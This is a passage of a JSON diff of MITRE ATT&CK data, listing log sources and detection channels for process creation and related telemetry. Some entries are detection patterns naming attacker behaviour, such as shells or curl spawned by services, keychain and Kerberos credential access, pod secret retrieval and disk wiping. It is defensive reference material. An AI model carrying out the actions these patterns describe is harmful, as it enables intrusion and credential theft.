"SetFileTime" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0021\", \"external_id\": \"DC0021\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Base\", \"channel\": \"GetLocaleInfoW, GetTimeZoneInformation API calls\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetMetadata, DescribeInstanceIdentity\"}, {\"name\": \"macos:osquery\", \"channel\": \"open, execve: Unexpected processes accessing or modifying critical files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace, ioctl\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"API tracing / stack tracing via ETW or telemetry-based EDR\"}, {\"name\": \"EDR:memory\", \"channel\": \"Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"aaa privilege_exec\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"APCQueueOperations\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Invocation of SMLoginItemSetEnabled by non-system or recently installed application\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"flock|NSDistributedLock|FileHandle.*lockForWriting\"}, {\"name\": \"etw:Microsoft-Windows-Directory-Services-SAM\", \"channel\": \"api_call: Calls to DsAddSidHistory or related RPC operations\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"application logs referencing NSTimer, sleep, or launchd delays\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Rules capturing clock_gettime, time, gettimeofday syscalls when enabled\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance\"}, {\"name\": \"etw:Microsoft-Windows-RPC\", \"channel\": \"rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes\"}, {\"name\": \"NSM:Flow\", \"channel\": \"smb_command: TreeConnectAndX to \\\\\\\\*\\\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656\"}, {\"name\": \"EDR:memory\", \"channel\": \"API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Access decisions to kTCCServiceCamera for unexpected binaries\"}, {\"name\": \"EDR:memory\", \"channel\": \"Objective\\u2011C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mmap, ptrace, process_vm_writev or direct memory ops\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"API call to AddMonitor invoked by non-installer process\"}, {\"name\": \"etw:Microsoft-Windows-Win32k\", \"channel\": \"SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unshare, mount, keyctl, setns syscalls executed by containerized processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"audio APIs\"}, {\"name\": \"WinEventLog:Microsoft-Windows-COM/Operational\", \"channel\": \"CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.securityd, com.apple.tccd\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"send, recv, write: Abnormal interception or alteration of transmitted data\"}, {\"name\": \"macos:osquery\", \"channel\": \"CALCULATE: Integrity validation of transmitted data via hash checks\"}, {\"name\": \"ETW:Token\", \"channel\": \"token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"API Calls\"}, {\"name\": \"etw:Microsoft-Windows-DotNETRuntime\", \"channel\": \"AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime\"}, {\"name\": \"EDR:memory\", \"channel\": \"VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad\"}, {\"name\": \"auditd:MMAP\", \"channel\": \"memory region with RWX permissions allocated\"}, {\"name\": \"snmp:trap\", \"channel\": \"management queries\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Describe* or List* API calls\"}, {\"name\": \"etw:Microsoft-Windows-Win32k\", \"channel\": \"SendMessage, PostMessage, LVM_*\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"sudo or pkexec invocation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"authorization execute privilege requests\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"NtQueryInformationProcess\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"ptrace: Processes invoking ptrace with PTRACE_TRACEME flag\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Remote access API calls and file uploads\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread\"}, {\"name\": \"linux:syslog\", \"channel\": \"Execution of modified binaries or abnormal library load sequences\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"access or unlock attempt to keychain database\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of input detection APIs (e.g., CGEventSourceKeyState)\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mount system call with bind or remap flags\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Decrypt\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-File\", \"channel\": \"ZwSetEaFile or ZwQueryEaFile function calls\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"fork/clone/daemon syscall tracing\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Detached process execution with no associated parent\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace, mmap, mprotect, open, dlopen\"}, {\"name\": \"ETW:ProcThread\", \"channel\": \"api_call: CreateProcessWithTokenW, CreateProcessAsUserW\"}, {\"name\": \"EDR:memory\", \"channel\": \"MemoryWriteToExecutable\"}, {\"name\": \"ETW:Token\", \"channel\": \"api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx\"}, {\"name\": \"etw:Microsoft-Windows-Security-Auditing\", \"channel\": \"api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"API calls\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace, mmap, process_vm_writev\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of dd or sed targeting /proc/*/mem\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx\"}, {\"name\": \"ETW\", \"channel\": \"Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses\"}, {\"name\": \"EDR:file\", \"channel\": \"SetFileTime\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.999000+00:00\", \"old_value\": \"2025-04-18 15:10:31.145000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 19:28:39.339000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0032", + "external_id": "DC0032" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process Creation", + "description": "Refers to the event in which a new process (executable) is initialized by an operating system. This can involve parent-child process relationships, process arguments, and environmental variables. Monitoring process creation is crucial for detecting malicious behaviors, such as execution of unauthorized binaries, scripting abuse, or privilege escalation attempts.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n - EDRs provide process telemetry, tracking execution flows and arguments.\n- Windows Event Logs:\n - Event ID 4688 (Audit Process Creation): Captures process creation with associated parent process.\n- Sysmon (Windows):\n - Event ID 1 (Process Creation): Provides detailed logging\n- Linux/macOS Monitoring:\n - AuditD (execve syscall): Logs process creation.\n - eBPF/XDP: Used for low-level monitoring of system calls related to process execution.\n - OSQuery: Allows SQL-like queries to track process events (process_events table).\n - Apple Endpoint Security Framework (ESF): Monitors process creation on macOS.\n- Network-Based Monitoring:\n - Zeek (Bro) Logs: Captures network-based process execution related to remote shells.\n - Syslog/OSSEC: Tracks execution of processes on distributed systems.\n- Behavioral SIEM Rules:\n - Monitor process creation for uncommon binaries in user directories.\n - Detect processes with suspicious command-line arguments. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream 'eventMessage contains pubsub or broker'" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "name": "linux:osquery", + "channel": "Execution of binary resolved from $PATH not located in /usr/bin or /bin" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution path inconsistent with baseline PATH directories" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "name": "linux:osquery", + "channel": "process_events" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec" + }, + { + "name": "macos:osquery", + "channel": "processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of launchctl with suspicious arguments" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve network tools" + }, + { + "name": "macos:osquery", + "channel": "process_events" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls to soffice.bin with suspicious macro execution flags" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts" + }, + { + "name": "macos:osquery", + "channel": "process reading browser configuration paths" + }, + { + "name": "macos:unifiedlog", + "channel": "exec logs" + }, + { + "name": "auditd:EXECVE", + "channel": "execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: Process execution context for loaders calling dlopen/dlsym" + }, + { + "name": "auditd:EXECVE", + "channel": "EXECVE" + }, + { + "name": "auditd:EXECVE", + "channel": "execution of unexpected binaries during user shell startup" + }, + { + "name": "macos:unifiedlog", + "channel": "launch of Terminal.app or shell with non-standard environment setup" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of systemctl or service stop" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of launchctl or pkill" + }, + { + "name": "macos:unifiedlog", + "channel": "process::exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context" + }, + { + "name": "macos:osquery", + "channel": "Execution of non-standard binaries accessing Kerberos APIs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Electron-based binary spawning shell or script interpreter" + }, + { + "name": "macos:unifiedlog", + "channel": "Electron app spawning unexpected child process" + }, + { + "name": "esxi:shell", + "channel": "/root/.ash_history or /etc/init.d/*" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls with high-frequency or known bandwidth-intensive tools" + }, + { + "name": "macos:unifiedlog", + "channel": "exec or spawn calls to proxy tools or torrent clients" + }, + { + "name": "containers:osquery", + "channel": "bandwidth-intensive command execution from within a container namespace" + }, + { + "name": "macos:unifiedlog", + "channel": "process launch" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --info --predicate 'subsystem == \"com.apple.cfprefsd\"'" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of security, sqlite3, or unauthorized binaries" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected applications generating outbound DNS queries" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=1" + }, + { + "name": "macos:osquery", + "channel": "execve" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected child process of Safari or Chrome" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks" + }, + { + "name": "macos:unifiedlog", + "channel": "process writes or modifies files in excluded paths" + }, + { + "name": "macos:unifiedlog", + "channel": "process" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.mail.* exec.*" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of memory inspection tools (lldb, gdb, osqueryi)" + }, + { + "name": "esxi:vobd", + "channel": "/var/log/vobd.log" + }, + { + "name": "kubernetes:apiserver", + "channel": "kubectl exec or kubelet API calls targeting running pods" + }, + { + "name": "docker:audit", + "channel": "Process execution events within container namespace context" + }, + { + "name": "auditd:SYSCALL", + "channel": "process persists beyond parent shell termination" + }, + { + "name": "macos:unifiedlog", + "channel": "background process persists beyond user logout" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)" + }, + { + "name": "macos:unifiedlog", + "channel": "Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns" + }, + { + "name": "esxi:hostd", + "channel": "process execution across cloud VM" + }, + { + "name": "auditd:EXECVE", + "channel": "systemctl spawning managed processes" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "esxi:shell", + "channel": "/var/log/shell.log" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)" + }, + { + "name": "macos:unifiedlog", + "channel": "exec events where web process starts a shell/tooling" + }, + { + "name": "docker:events", + "channel": "Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container" + }, + { + "name": "macos:unifiedlog", + "channel": "exec of osascript, bash, curl with suspicious parameters" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context" + }, + { + "name": "macos:endpointsecurity", + "channel": "es_event_exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of discovery commands targeting backup binaries, processes, or config paths" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list" + }, + { + "name": "macos:osquery", + "channel": "process_events OR launchd" + }, + { + "name": "auditd:EXECVE", + "channel": "execve" + }, + { + "name": "macos:osquery", + "channel": "launchd or process_events" + }, + { + "name": "macos:unifiedlog", + "channel": "process and file events via log stream" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of scripts or binaries spawned from browser processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Browser processes launching unexpected interpreters (osascript, bash)" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files" + }, + { + "name": "auditd:SYSCALL", + "channel": "EXECVE" + }, + { + "name": "macos:unifiedlog", + "channel": "process:exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of bash, python, or perl processes spawned by browser/email client" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of osascript, bash, or Terminal initiated from Mail.app or Safari" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity." + }, + { + "name": "macos:osquery", + "channel": "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes." + }, + { + "name": "macos:unifiedlog", + "channel": "process activity stream" + }, + { + "name": "auditd:SYSCALL", + "channel": "SYSCALL record where exe contains passwd/userdel/chage and auid != root" + }, + { + "name": "macos:unifiedlog", + "channel": "Post-login execution of unrecognized child process from launchd or loginwindow" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags" + }, + { + "name": "macos:unifiedlog", + "channel": "process command line contains base64, -enc, openssl enc -base64" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: arguments contain Base64-like strings" + }, + { + "name": "esxi:shell", + "channel": "commands containing base64, openssl enc -base64, xxd -p" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of process launched via loginwindow session restore" + }, + { + "name": "macos:unifiedlog", + "channel": "process: exec + filewrite: ~/.ssh/authorized_keys" + }, + { + "name": "containerd:runtime", + "channel": "/var/log/containers/*.log" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Java apps or other processes with hidden window attributes" + }, + { + "name": "macos:unifiedlog", + "channel": "Process Execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve on code or jetbrains-gateway with remote flags" + }, + { + "name": "macos:unifiedlog", + "channel": "process: code or jetbrains-gateway launching with --tunnel or --remote" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'processImagePath CONTAINS \"curl\" OR \"osascript\"'" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of dd, shred, wipe targeting block devices" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of sleep or ping command within script interpreted by bash/python" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or socket/connect system calls from processes using crypto libraries" + }, + { + "name": "macos:unifiedlog", + "channel": "Process using AES/RC4 routines unexpectedly" + }, + { + "name": "linux:osquery", + "channel": "execution of known firewall binaries" + }, + { + "name": "auditd:SYSCALL", + "channel": "type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime" + }, + { + "name": "linux:osquery", + "channel": "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'" + }, + { + "name": "macos:unifiedlog", + "channel": "process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: binary == \"/usr/sbin/systemsetup\" and args contains \"-gettimezone\"" + }, + { + "name": "macos:osquery", + "channel": "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of osascript, curl, or unexpected automation" + }, + { + "name": "macos:unifiedlog", + "channel": "exec /usr/bin/pwpolicy" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(\u2026 SO_ATTACH_FILTER|SO_ATTACH_BPF \u2026), bpf(cmd=BPF_PROG_LOAD), open/openat path=\"/dev/bpf*\" (BSD/macOS-like) or setcap cap_net_raw." + }, + { + "name": "linux:syslog", + "channel": "KERN messages about eBPF program load/verify or LSM denials related to bpf." + }, + { + "name": "OpenBSM:AuditTrail", + "channel": "open/openat of /dev/bpf*; ioctl BIOCSETF-like operations." + }, + { + "name": "macos:unifiedlog", + "channel": "Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters." + }, + { + "name": "auditd:EXECVE", + "channel": "/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of known flash tools (e.g., flashrom, fwupd)" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.firmwareupdater activity or update-firmware binary invoked" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt" + }, + { + "name": "macos:unifiedlog", + "channel": "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API" + }, + { + "name": "macos:endpointSecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)" + }, + { + "name": "macos:osquery", + "channel": "execve: Processes unexpectedly invoking Keychain or authentication APIs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)" + }, + { + "name": "macos:unifiedlog", + "channel": "process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary" + }, + { + "name": "auditd:EXECVE", + "channel": "None" + }, + { + "name": "macos:unifiedlog", + "channel": "process:launch" + }, + { + "name": "auditd:EXECVE", + "channel": "Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of \"sharing -l\", \"smbutil view\", \"mount_smbfs\"" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of scp, rsync, curl with remote destination" + }, + { + "name": "macos:unifiedlog", + "channel": "logMessage contains pbpaste or osascript" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)" + }, + { + "name": "macos:unifiedlog", + "channel": "process launch of diskutil or system_profiler with SPStorageDataType" + }, + { + "name": "esxi:hostd", + "channel": "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'" + }, + { + "name": "macos:unifiedlog", + "channel": "Mail.app executing with parameters updating rules state" + }, + { + "name": "esxi:shell", + "channel": "/var/log/vmkernel.log, /var/log/vmkwarning.log" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera" + }, + { + "name": "kubernetes:apiserver", + "channel": "exec into pod followed by secret retrieval via API" + }, + { + "name": "macos:unifiedlog", + "channel": "process_name IN (\"VBoxManage\", \"prlctl\") AND command CONTAINS (\"list\", \"show\")" + }, + { + "name": "macos:unifiedlog", + "channel": "exec srm|exec openssl|exec gpg" + }, + { + "name": "linux:osquery", + "channel": "Process execution with LD_PRELOAD or modified library path" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of process with DYLD_INSERT_LIBRARIES set" + }, + { + "name": "linux:Sysmon", + "channel": "process creation events linked to container namespaces executing host-level binaries" + }, + { + "name": "WinEventlog:Security", + "channel": "EventCode=4688" + }, + { + "name": "macos:unifiedlog", + "channel": "process and signing chain events" + }, + { + "name": "macos:unifiedlog", + "channel": "launchservices events for misleading extensions" + }, + { + "name": "fs:fsusage", + "channel": "Execution of disguised binaries" + }, + { + "name": "linux:osquery", + "channel": "process listening or connecting on non-standard ports" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd services binding to non-standard ports" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, connect" + }, + { + "name": "esxi:cron", + "channel": "process or cron activity" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of binaries with unsigned or anomalously signed certificates" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve logging for /usr/bin/systemctl and systemd-run" + }, + { + "name": "macos:osquery", + "channel": "Invocation of osascript or dylib injection" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of files saved in mail or download directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Terminal, osascript, or other interpreters originating from Mail or Preview" + }, + { + "name": "macos:unifiedlog", + "channel": "process events" + }, + { + "name": "linux:syslog", + "channel": "Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of CLI tools like psql, mysql, mongo, sqlite3" + }, + { + "name": "macos:unifiedlog", + "channel": "Process start of Java or native DB client tools" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow or tccd-related entries" + }, + { + "name": "macos:osquery", + "channel": "query: process_events, launchd, and tcc.db access" + }, + { + "name": "ebpf:syscalls", + "channel": "process execution or network connect from just-created container PID namespace" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of pip, npm, gem, or similar package managers" + }, + { + "name": "macos:unifiedlog", + "channel": "Command line invocation of pip3, brew install, npm install from interactive Terminal" + }, + { + "name": "auditd:SYSCALL", + "channel": "fork/exec of service via PID 1 (systemd)" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of ssh/scp/sftp without corresponding authentication log" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of ssh or sftp without corresponding login event" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: execve where exe=/usr/bin/python3 or similar interpreter" + }, + { + "name": "macos:unifiedlog", + "channel": "launch of remote desktop app or helper binary" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected processes making network calls based on DNS-derived ports" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl spawning new processes" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl activity and process creation" + }, + { + "name": "containerd:events", + "channel": "New container with suspicious image name or high resource usage" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Python, Swift, or other binaries invoking archiving libraries" + }, + { + "name": "linux:osquery", + "channel": "Processes linked with libssl or crypto libraries making outbound connections" + }, + { + "name": "macos:unifiedlog", + "channel": "Process invoking SSL routines from Security framework" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of binaries located in /etc/init.d/ or systemd service paths" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of binary listed in newly modified LaunchAgent plist" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of bless or nvram modifying boot parameters" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected processes registered with launchd" + }, + { + "name": "macos:unifiedlog", + "channel": "Process launch" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of curl, osascript, or unexpected Office processes" + }, + { + "name": "macos:osquery", + "channel": "exec" + }, + { + "name": "macos:unifiedlog", + "channel": "Trust validation failures or bypass attempts during notarization and code signing checks" + }, + { + "name": "esxi:vmkernel", + "channel": "spawned shell or execution environment activity" + }, + { + "name": "macos:unifiedlog", + "channel": "process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of dd/sgdisk with arguments writing to sector 0 or partition table" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for chmod, chown, chflags with unusual parameters or targets" + }, + { + "name": "m365:defender", + "channel": "AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)" + }, + { + "name": "macos:unifiedlog", + "channel": "execve or dylib load from memory without backing file" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw)." + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers." + }, + { + "name": "esxi:shell", + "channel": "Shell Execution" + }, + { + "name": "macos:unifiedlog", + "channel": "Unusual child process tree indicating attempted recovery after crash" + }, + { + "name": 